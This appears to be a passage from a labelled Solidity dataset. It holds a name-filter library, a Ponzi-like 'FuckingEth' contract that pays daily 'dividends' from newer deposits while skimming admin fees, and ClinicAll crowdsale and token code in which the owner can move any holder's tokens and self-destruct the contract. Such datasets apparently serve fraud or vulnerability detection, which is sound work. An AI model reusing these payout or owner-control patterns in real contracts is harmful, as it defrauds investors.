function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 147 |
pragma solidity 0.4.25;
contract FuckingEth {
using SafeMath for uint;
struct Investor {
uint deposit;
uint paymentTime;
uint withdrawal;
uint FuckStartup;
bool isParticipant;
}
mapping (address => Investor) public investors;
address public admin1Address;
address public admin2Address;
address public owner;
uint public investmentsNumber;
uint public investorsNumber;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
event OnRefLink(address indexed referral, uint referrarBonus, address indexed referrer, uint referrerBonus, uint time);
event OnNewInvestor(address indexed addr, uint time);
event OnInvesment(address indexed addr, uint deposit, uint time);
event OnFuckChanged(address indexed addr, bool isActive, uint time);
event OnEarlyWithdrawal(address indexed addr, uint withdrawal, uint time);
event OnDeleteInvestor(address indexed addr, uint time);
event OnWithdraw(address indexed addr, uint withdrawal, uint time);
event OnFuckBonus(address indexed addr, uint bonus, uint time);
event OnNotEnoughBalance(uint time);
constructor() public {
owner = msg.sender;
admin1Address = msg.sender;
admin2Address = msg.sender;
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else if (msg.value == 0.01 ether) {
Fuck();
} else if (msg.value == 0.003 ether) {
earlyWithdrawal();
} else {
deposit(bytes2address(msg.data));
}
}
function disown() public onlyOwner {
owner = address(0x0);
}
function setAdminsAddress(uint n, address addr) public onlyOwner {
require(n >= 1 && n <= 2, "invalid number of admin`s address");
if (n == 1) {
admin1Address = addr;
} else if (n == 2) {
admin2Address = addr;
}
}
function investorDividends(address investorAddr) public view returns(uint dividends, uint FuckBonus) {
return getDividends(investorAddr);
}
function withdraw() public {
address investorAddr = msg.sender;
(uint dividends, uint FuckBonus) = getDividends(investorAddr);
require(dividends > 0, "cannot to pay zero dividends");
require(address(this).balance > 0, "fund is empty");
uint withdrawal = dividends + FuckBonus;
if (address(this).balance <= withdrawal) {
emit OnNotEnoughBalance(now);
withdrawal = address(this).balance;
}
Investor storage investor = investors[investorAddr];
uint withdrawalLimit = investor.deposit * 199 / 100;
uint totalWithdrawal = withdrawal + investor.withdrawal;
if (totalWithdrawal >= withdrawalLimit) {
withdrawal = withdrawalLimit.sub(investor.withdrawal);
if (FuckBonus > 0 ) {
emit OnFuckBonus(investorAddr, FuckBonus, now);
}
deleteInvestor(investorAddr);
} else {
if (withdrawal > dividends) {
withdrawal = dividends;
}
investor.withdrawal += withdrawal;
investor.paymentTime = now;
if (investor.FuckStartup > 0) {
investor.FuckStartup = 0;
emit OnFuckChanged(investorAddr, false, now);
}
}
investorAddr.transfer(withdrawal);
emit OnWithdraw(investorAddr, withdrawal, now);
}
function earlyWithdrawal() public {
address investorAddr = msg.sender;
Investor storage investor = investors[investorAddr];
require(investor.deposit > 0, "sender must be an investor");
uint earlyWithdrawalLimit = investor.deposit * 75 / 100;
require(earlyWithdrawalLimit > investor.withdrawal, "early withdraw only before 75% deposit`s withdrawal");
uint withdrawal = earlyWithdrawalLimit.sub(investor.withdrawal);
investorAddr.transfer(withdrawal);
emit OnEarlyWithdrawal(investorAddr, withdrawal, now);
deleteInvestor(investorAddr);
}
function Fuck() public {
Investor storage investor = investors[msg.sender];
require(investor.deposit > 0, "sender must be an investor");
require(investor.FuckStartup == 0, "Fucking is already activated");
investor.FuckStartup = now;
emit OnFuckChanged(msg.sender, true, now);
}
function deposit(address referrerAddr) public payable {
uint depositAmount = msg.value;
address investorAddr = msg.sender;
require(isNotContract(investorAddr), "invest from contracts is not supported");
require(depositAmount > 0, "deposit amount cannot be zero");
admin1Address.send(depositAmount * 60 / 1000);
admin2Address.send(depositAmount * 20 / 1000);
Investor storage investor = investors[investorAddr];
bool senderIsNotPaticipant = !investor.isParticipant;
bool referrerIsParticipant = investors[referrerAddr].isParticipant;
if (senderIsNotPaticipant && referrerIsParticipant && referrerAddr != investorAddr) {
uint referrerBonus = depositAmount * 4 / 100;
uint referralBonus = depositAmount * 3 / 100;
referrerAddr.transfer(referrerBonus);
investorAddr.transfer(referralBonus);
emit OnRefLink(investorAddr, referralBonus, referrerAddr, referrerBonus, now);
}
if (investor.deposit == 0) {
investorsNumber++;
investor.isParticipant = true;
emit OnNewInvestor(investorAddr, now);
}
investor.deposit += depositAmount;
investor.paymentTime = now;
investmentsNumber++;
emit OnInvesment(investorAddr, depositAmount, now);
}
function getDividends(address investorAddr) internal view returns(uint dividends, uint FuckBonus) {
Investor storage investor = investors[investorAddr];
if (investor.deposit == 0) {
return (0, 0);
}
if (investor.FuckStartup > 0) {
uint FuckDays = now.sub(investor.FuckStartup).div(24 hours);
FuckBonus = FuckDays * investor.deposit * 500 / 100000;
}
uint depositDays = now.sub(investor.paymentTime).div(24 hours);
dividends = depositDays * investor.deposit * 1 / 100;
uint depositAmountBonus;
if (1 ether <= investor.deposit && investor.deposit <= 10 ether) {
depositAmountBonus = depositDays * investor.deposit * 5 / 10000;
} else if (10 ether <= investor.deposit && investor.deposit <= 25 ether) {
depositAmountBonus = depositDays * investor.deposit * 11 / 10000;
} else if (25 ether <= investor.deposit) {
depositAmountBonus = depositDays * investor.deposit * 15 / 10000;
} dividends += depositAmountBonus;
}
function isNotContract(address addr) internal view returns (bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
function bytes2address(bytes memory source) internal pure returns(address addr) {
assembly { addr := mload(add(source, 0x14)) }
return addr;
}
function deleteInvestor(address investorAddr) private {
delete investors[investorAddr].deposit;
delete investors[investorAddr].paymentTime;
delete investors[investorAddr].withdrawal;
delete investors[investorAddr].FuckStartup;
emit OnDeleteInvestor(investorAddr, now);
investorsNumber--;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 1 | 3,679 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract ClinicAllRefundEscrow is RefundEscrow {
using Math for uint256;
struct RefundeeRecord {
bool isRefunded;
uint256 index;
}
mapping(address => RefundeeRecord) public refundees;
address[] internal refundeesList;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
mapping(address => uint256) private beneficiaryDeposits;
uint256 public beneficiaryDepositedAmount;
uint256 public investorsDepositedToCrowdSaleAmount;
constructor(address _beneficiary)
RefundEscrow(_beneficiary)
public {
}
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function beneficiaryDepositsOf(address _payee) public view returns (uint256) {
return beneficiaryDeposits[_payee];
}
function deposit(address _refundee) public payable {
uint256 amount = msg.value;
beneficiaryDeposits[_refundee] = beneficiaryDeposits[_refundee].add(amount);
beneficiaryDepositedAmount = beneficiaryDepositedAmount.add(amount);
}
function depositFunds(address _refundee, uint256 _value) public onlyOwner {
require(state == State.Active, "Funds deposition is possible only in the Active state.");
uint256 amount = _value;
deposits[_refundee] = deposits[_refundee].add(amount);
investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.add(amount);
emit Deposited(_refundee, amount);
RefundeeRecord storage _data = refundees[_refundee];
_data.isRefunded = false;
if (_data.index == uint256(0)) {
refundeesList.push(_refundee);
_data.index = refundeesList.length.sub(1);
}
}
function close() public onlyOwner {
super.close();
}
function withdraw(address _payee) public onlyOwner {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal.");
RefundeeRecord storage _data = refundees[_payee];
require(_data.isRefunded == false, "An investor should not be refunded.");
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.sub(payment);
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
function manualRefund(address _payee) public onlyOwner {
RefundeeRecord storage _data = refundees[_payee];
deposits[_payee] = 0;
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
function removeRefundeeByIndex(uint256 _indexToDelete) private {
if ((refundeesList.length > 0) && (_indexToDelete < refundeesList.length)) {
uint256 _lastIndex = refundeesList.length.sub(1);
refundeesList[_indexToDelete] = refundeesList[_lastIndex];
refundeesList.length--;
}
}
function refundeesListLength() public onlyOwner view returns (uint256) {
return refundeesList.length;
}
function withdrawChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
uint256 _refundeesCount = refundeesList.length;
require(_chunkLength >= _refundeesCount);
require(_txFee > 0, "Transaction fee should be above zero.");
require(_refundeesCount > 0, "List of investors should not be empty.");
uint256 _weiRefunded = 0;
require(address(this).balance > (_chunkLength.mul(_txFee)), "Account's ballance should allow to pay all tx fees.");
address[] memory _refundeesListCopy = new address[](_chunkLength);
uint256 i;
for (i = 0; i < _chunkLength; i++) {
address _refundee = refundeesList[i];
RefundeeRecord storage _data = refundees[_refundee];
if (_data.isRefunded == false) {
if (depositsOf(_refundee) > _txFee) {
uint256 _deposit = depositsOf(_refundee);
if (_deposit > _txFee) {
_weiRefunded = _weiRefunded.add(_deposit);
uint256 _paymentWithoutTxFee = _deposit.sub(_txFee);
_refundee.transfer(_paymentWithoutTxFee);
emit Withdrawn(_refundee, _paymentWithoutTxFee);
_data.isRefunded = true;
_refundeesListCopy[i] = _refundee;
}
}
}
}
for (i = 0; i < _chunkLength; i++) {
if (address(0) != _refundeesListCopy[i]) {
RefundeeRecord storage _dataCleanup = refundees[_refundeesListCopy[i]];
require(_dataCleanup.isRefunded == true, "Investors in this list should be refunded.");
removeRefundeeByIndex(_dataCleanup.index);
}
}
return (_weiRefunded, _refundeesListCopy);
}
function withdrawEverything(uint256 _txFee) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
return withdrawChunk(_txFee, refundeesList.length);
}
function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner {
require(_value <= address(this).balance, "Withdraw part can not be more than current balance");
beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value);
beneficiary.transfer(_value);
}
function beneficiaryWithdrawAll() public onlyOwner {
uint256 _value = address(this).balance;
beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value);
beneficiary.transfer(_value);
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] tokens) onlyOwner public {
for (uint256 i = 0; i < tokens.length; i++) {
ERC20Basic token = ERC20Basic(tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TransferableToken is Ownable {
event TransferOn();
event TransferOff();
bool public transferable = false;
modifier whenNotTransferable() {
require(!transferable);
_;
}
modifier whenTransferable() {
require(transferable);
_;
}
function transferOn() onlyOwner whenNotTransferable public {
transferable = true;
emit TransferOn();
}
function transferOff() onlyOwner whenTransferable public {
transferable = false;
emit TransferOff();
}
}
contract ClinicAllToken is MintableToken, DetailedERC20, CappedToken, PausableToken, BurnableToken, TokenDestructible, TransferableToken {
constructor
(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap
)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{
}
function burnAfterRefund(address _who) public onlyOwner {
uint256 _value = balances[_who];
_burn(_who, _value);
}
function transfer(
address _to,
uint256 _value
)
public
whenTransferable
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenTransferable
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function transferToPrivateInvestor(
address _from,
address _to,
uint256 _value
)
public
onlyOwner
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burnPrivateSale(address privateSaleWallet, uint256 _value) public onlyOwner {
_burn(privateSaleWallet, _value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
view
public
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
view
public
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Managed is Ownable, RBAC {
string public constant ROLE_MANAGER = "manager";
modifier onlyManager() {
checkRole(msg.sender, ROLE_MANAGER);
_;
}
function setManager(address _operator) public onlyOwner {
addRole(_operator, ROLE_MANAGER);
}
function removeManager(address _operator) public onlyOwner {
removeRole(_operator, ROLE_MANAGER);
}
}
contract Limited is Managed {
using SafeMath for uint256;
mapping(address => uint256) public limitsList;
modifier isLimited(address _payee) {
require(limitsList[_payee] > 0, "An investor is limited if it has a limit.");
_;
}
modifier doesNotExceedLimit(address _payee, uint256 _tokenAmount, uint256 _tokenBalance, uint256 kycLimitEliminator) {
if(_tokenBalance.add(_tokenAmount) >= kycLimitEliminator) {
require(_tokenBalance.add(_tokenAmount) <= getLimit(_payee), "An investor should not exceed its limit on buying.");
}
_;
}
function getLimit(address _payee)
public view returns (uint256)
{
return limitsList[_payee];
}
function addAddressesLimits(address[] _payees, uint256[] _limits) public
onlyManager
{
require(_payees.length == _limits.length, "Array sizes should be equal.");
for (uint256 i = 0; i < _payees.length; i++) {
addLimit(_payees[i], _limits[i]);
}
}
function addLimit(address _payee, uint256 _limit) public
onlyManager
{
limitsList[_payee] = _limit;
}
function removeLimit(address _payee) external
onlyManager
{
limitsList[_payee] = 0;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
onlyOwner
public
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
onlyOwner
public
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract ManagedWhitelist is Managed, Whitelist {
function addAddressToWhitelist(address _operator) public onlyManager {
addRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators) public onlyManager {
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator) public onlyManager {
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators) public onlyManager {
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract ClinicAllCrowdsale is Crowdsale, FinalizableCrowdsale, MintedCrowdsale, ManagedWhitelist, Limited {
constructor
(
uint256 _tokenLimitSupply,
uint256 _rate,
address _wallet,
address _privateSaleWallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime,
uint256 _discountTokenAmount,
uint256 _discountTokenPercent,
uint256 _preSaleClosingTime,
uint256 _softCapLimit,
ClinicAllRefundEscrow _vault,
uint256 _buyLimitSupplyMin,
uint256 _buyLimitSupplyMax,
uint256 _kycLimitEliminator
)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{
privateSaleWallet = _privateSaleWallet;
tokenSupplyLimit = _tokenLimitSupply;
discountTokenAmount = _discountTokenAmount;
discountTokenPercent = _discountTokenPercent;
preSaleClosingTime = _preSaleClosingTime;
softCapLimit = _softCapLimit;
vault = _vault;
buyLimitSupplyMin = _buyLimitSupplyMin;
